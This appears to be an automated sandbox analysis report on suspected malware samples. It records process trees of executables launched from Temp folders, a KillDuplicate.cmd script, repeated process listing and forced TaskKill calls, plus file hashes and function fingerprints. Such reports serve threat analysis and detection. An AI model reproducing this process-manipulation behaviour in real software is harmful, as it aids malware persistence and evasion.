MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskkill.exe PID: 1316 Parent PID: 4780

General

Start time:	22:27:28
Start date:	29/08/2021
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	TaskKill /pid 6268 /t /f
Imagebase:	0x7ff6ac030000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 1sb1iwyem7.exe PID: 5920 Parent PID: 3424

General

Start time:	22:27:32
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Imagebase:	0x400000
File size:	257266 bytes
MD5 hash:	8AB82DE9E761FA26308DAC69D6B855A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1288 Parent PID: 5920

General

Start time:	22:27:34
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5300 Parent PID: 1288

General

Start time:	22:27:34
Start date:	29/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5568 Parent PID: 1288

General

Start time:	22:27:34
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasklist.exe PID: 5500 Parent PID: 5568

General

Start time:	22:27:35
Start date:	29/08/2021
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	TaskList /fo CSV /nh
Imagebase:	0x7ff728640000
File size:	100352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 7012 Parent PID: 6908

General

Start time:	22:27:35
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 15%, Metadefender, Browse Detection: 57%, ReversingLabs

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 7084 Parent PID: 7012

General

Start time:	22:27:37
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 6496 Parent PID: 7084

General

Start time:	22:27:40
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 1sb1iwyem7.exe PID: 2740 Parent PID: 3424

General

Start time:	22:27:41
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Imagebase:	0x400000
File size:	257266 bytes
MD5 hash:	8AB82DE9E761FA26308DAC69D6B855A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 1sb1iwyem7.exe PID: 3184 Parent PID: 5920

General

Start time:	22:27:41
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Imagebase:	0x400000
File size:	257266 bytes
MD5 hash:	8AB82DE9E761FA26308DAC69D6B855A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4044 Parent PID: 2740

General

Start time:	22:27:43
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 2108 Parent PID: 3184

General

Start time:	22:27:43
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6916 Parent PID: 4044

General

Start time:	22:27:43
Start date:	29/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 4732 Parent PID: 6496

General

Start time:	22:27:43
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2464 Parent PID: 2108

General

Start time:	22:27:43
Start date:	29/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6704 Parent PID: 4044

General

Start time:	22:27:44
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasklist.exe PID: 4204 Parent PID: 6704

General

Start time:	22:27:44
Start date:	29/08/2021
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	TaskList /fo CSV /nh
Imagebase:	0x7ff728640000
File size:	100352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 2188 Parent PID: 2108

General

Start time:	22:27:44
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasklist.exe PID: 5224 Parent PID: 2188

General

Start time:	22:27:45
Start date:	29/08/2021
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	TaskList /fo CSV /nh
Imagebase:	0x7ff728640000
File size:	100352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 6596 Parent PID: 4732

General

Start time:	22:27:45
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskkill.exe PID: 5508 Parent PID: 4044

General

Start time:	22:27:48
Start date:	29/08/2021
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	TaskKill /pid 3184 /t /f
Imagebase:	0x7ff6ac030000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 7004 Parent PID: 6596

General

Start time:	22:27:49
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 5456 Parent PID: 3424

General

Start time:	22:27:49
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 1sb1iwyem7.exe PID: 4624 Parent PID: 2740

General

Start time:	22:27:50
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Imagebase:	0x400000
File size:	257266 bytes
MD5 hash:	8AB82DE9E761FA26308DAC69D6B855A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 4492 Parent PID: 7004

General

Start time:	22:27:51
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5164 Parent PID: 4624

General

Start time:	22:27:52
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 5008 Parent PID: 5456

General

Start time:	22:27:52
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5048 Parent PID: 5164

General

Start time:	22:27:52
Start date:	29/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5560 Parent PID: 5164

General

Start time:	22:27:53
Start date:	29/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Imagebase:	0x7ff622070000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tasklist.exe PID: 6932 Parent PID: 5560

General

Start time:	22:27:53
Start date:	29/08/2021
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	TaskList /fo CSV /nh
Imagebase:	0x7ff728640000
File size:	100352 bytes
MD5 hash:	B12E0F9C42075B4B7AD01D0B6A48485D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 7060 Parent PID: 5008

General

Start time:	22:27:54
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 1172 Parent PID: 4492

General

Start time:	22:27:54
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 5480 Parent PID: 1172

General

Start time:	22:27:59
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 5364 Parent PID: 7060

General

Start time:	22:28:00
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: taskkill.exe PID: 5916 Parent PID: 5164

General

Start time:	22:28:01
Start date:	29/08/2021
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	TaskKill /pid 4624 /t /f
Imagebase:	0x7ff6ac030000
File size:	94720 bytes
MD5 hash:	530C6A6CBA137EAA7021CEF9B234E8D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rnyuf.exe PID: 5388 Parent PID: 968

General

Start time:	22:28:01
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
Imagebase:	0xf00000
File size:	203264 bytes
MD5 hash:	F8899BB72B91E110CD5D6DA17861369C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 6996 Parent PID: 3424

General

Start time:	22:28:02
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 5mgcqk6jl.exe PID: 816 Parent PID: 5480

General

Start time:	22:28:02
Start date:	29/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Imagebase:	0x400000
File size:	238319 bytes
MD5 hash:	EC0FC802166AE83C519C5AEA89D65A53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: mvoElayshk.exe PID: 3220 Parent PID: 5232 mvoElayshk.exeCOMMON

Executed Functions

Function 00007FFA35E200A0, Relevance: .6, Instructions: 602COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0be04fd73ece2f6b5bf272c500d588bb6769ea81cf49ef53c17263d63f354f
Instruction ID: 45c8d2e07f539b5f8633d7e649e01eaf4e4087d1023faf510ee1c09262429f28
Opcode Fuzzy Hash: ea0be04fd73ece2f6b5bf272c500d588bb6769ea81cf49ef53c17263d63f354f
Instruction Fuzzy Hash: 8C51C17091868A8FDB45EB6CD852BE9BFF1FF5A300F1441BAD04DD7282DA286885C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35E205C5, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4eec81254639fa4df118cbe31e2046c4b51cb15761c3fd60ce3931ba6c9fb7
Instruction ID: 4e6f52993eba0716c31852d378280b840968a1f11292990a36b857f5762d1a16
Opcode Fuzzy Hash: 0b4eec81254639fa4df118cbe31e2046c4b51cb15761c3fd60ce3931ba6c9fb7
Instruction Fuzzy Hash: 48711571A0CB4A4FD798EB1CD8555657BF1FF8A711B1481AAE48DC3296CE24EC428B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35E2089E, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d16a4f7f747cd28858dc8739b81007d813b0d2847ed5cc5f6b5a81f975b61c47
Instruction ID: e296d15e7ad826bc46d631212bbab923c5fc6ceb557e5a3f12bbf3db63330edd
Opcode Fuzzy Hash: d16a4f7f747cd28858dc8739b81007d813b0d2847ed5cc5f6b5a81f975b61c47
Instruction Fuzzy Hash: 63416030A18A1B8FEBA9FF28D8956BA37D1FF86701F548539D40EC31D6CE25A845D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35E208E6, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53601a257a7028e23e60804852ce9b05f1447ce1930fab9d9625168173f09487
Instruction ID: b675d7aedce673148af633a4aec7d3c8a7cc3f4b4171d3494459c4fbc04556a4
Opcode Fuzzy Hash: 53601a257a7028e23e60804852ce9b05f1447ce1930fab9d9625168173f09487
Instruction Fuzzy Hash: 75313C30914A1A8FEBA9FF28D8952FA72E1FF8A701F508539D40EC31D6CE35A841C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35E208DA, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779534773b66dfe21af9f92b9afce5052f88f3ed44efc015f4c0b2d1e9e408f0
Instruction ID: 4b94754bba62115c9f12f230279db044d918e272558dcd8ee6fb328b7e591d9c
Opcode Fuzzy Hash: 779534773b66dfe21af9f92b9afce5052f88f3ed44efc015f4c0b2d1e9e408f0
Instruction Fuzzy Hash: 37314C30918A1B8FEBA8FF28D8952FA72E1FF86701F508539D41EC31D6CE25A8418780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35E20897, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659591310.00007FFA35E20000.00000040.00000001.sdmp, Offset: 00007FFA35E20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db84889606dc5d989af8008033aec709eedf7497adf266661ba4d527054d3fc9
Instruction ID: 30ee21fc33fc949b8ed08afa324c0927efb4ea36a5a3726e8064d8ee41aca739
Opcode Fuzzy Hash: db84889606dc5d989af8008033aec709eedf7497adf266661ba4d527054d3fc9
Instruction Fuzzy Hash: 2F314C30918A1B8FEBA4EF28D8952FA72A1FF96701F508539D41EC31D6CE25A8418780

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002A0850, Relevance: 3.4, APIs: 2, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af4a96a898083f9bfd20437f4976258b7fc4a9f5e55daac769e9132394ece615
Instruction ID: a64480bb6cddcd2d9e9aa097504dc8b6fa966fd1240c4b29448032d1e996fe85
Opcode Fuzzy Hash: af4a96a898083f9bfd20437f4976258b7fc4a9f5e55daac769e9132394ece615
Instruction Fuzzy Hash: 94F12873F112118FE714CFB8C9806AD77B1E74972CB258229DF15A7B88DB30AA51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00295187, Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

0, xrefs: 00295303

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 4670ae882a88defea128ce72432218d7744bd3d80bb6086f4220bc34dd402b5b
Instruction ID: 71670272bcea51f2f16e5fe5e4bbec8096c7e0c5f00e85ab96d2a3e143c1baa3
Opcode Fuzzy Hash: 4670ae882a88defea128ce72432218d7744bd3d80bb6086f4220bc34dd402b5b
Instruction Fuzzy Hash: EC51DB32B34E765BDF3B9F3888657BC27529B02308F180059DE8A9B682D785DD788705

Uniqueness

Uniqueness Score: -1.00%

Function 00284800, Relevance: .7, Instructions: 695COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e824339cf09322fe57e75d7e819a7fd4e9e86187ca0ae2f04d07aff0c6a6c7f3
Instruction ID: a6b28d15206e9d3e2bf72b4d005cd0f69155f75ce520d10a554f41dbd884952e
Opcode Fuzzy Hash: e824339cf09322fe57e75d7e819a7fd4e9e86187ca0ae2f04d07aff0c6a6c7f3
Instruction Fuzzy Hash: 8E2253B3F515104FE70CCB6DDCA27EC72E3A7D821871E803DAA0AD3B49EA79D9158644

Uniqueness

Uniqueness Score: -1.00%

Function 002A4EFD, Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160bc33993587e932549b104d29b1490e0dcff6c9818025a9a0859e758aec275
Instruction ID: 586665cf4c0ac514309ab14e88d40dace5c701675873a125da5f2a3d800dec97
Opcode Fuzzy Hash: 160bc33993587e932549b104d29b1490e0dcff6c9818025a9a0859e758aec275
Instruction Fuzzy Hash: 46B12C33620A81DFD315CF2CC486B697BA1F345768F19C214E796CB6A4C779E9A2CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00291862, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47ce34620d5c274003132e3a055ef53601b84cd6fff4fd9cef735a3bc7d4814
Instruction ID: 7dedc56a6c7f3bddec3559f77b068127e2118be5a2c6dafa9ceb03e1d7fd2492
Opcode Fuzzy Hash: b47ce34620d5c274003132e3a055ef53601b84cd6fff4fd9cef735a3bc7d4814
Instruction Fuzzy Hash: C5516CB3A212028FF719CF65D9917AC3BF1F748718F28882ADA01D7B54D2389D60CB64

Uniqueness

Uniqueness Score: -1.00%

Function 002A3CA7, Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

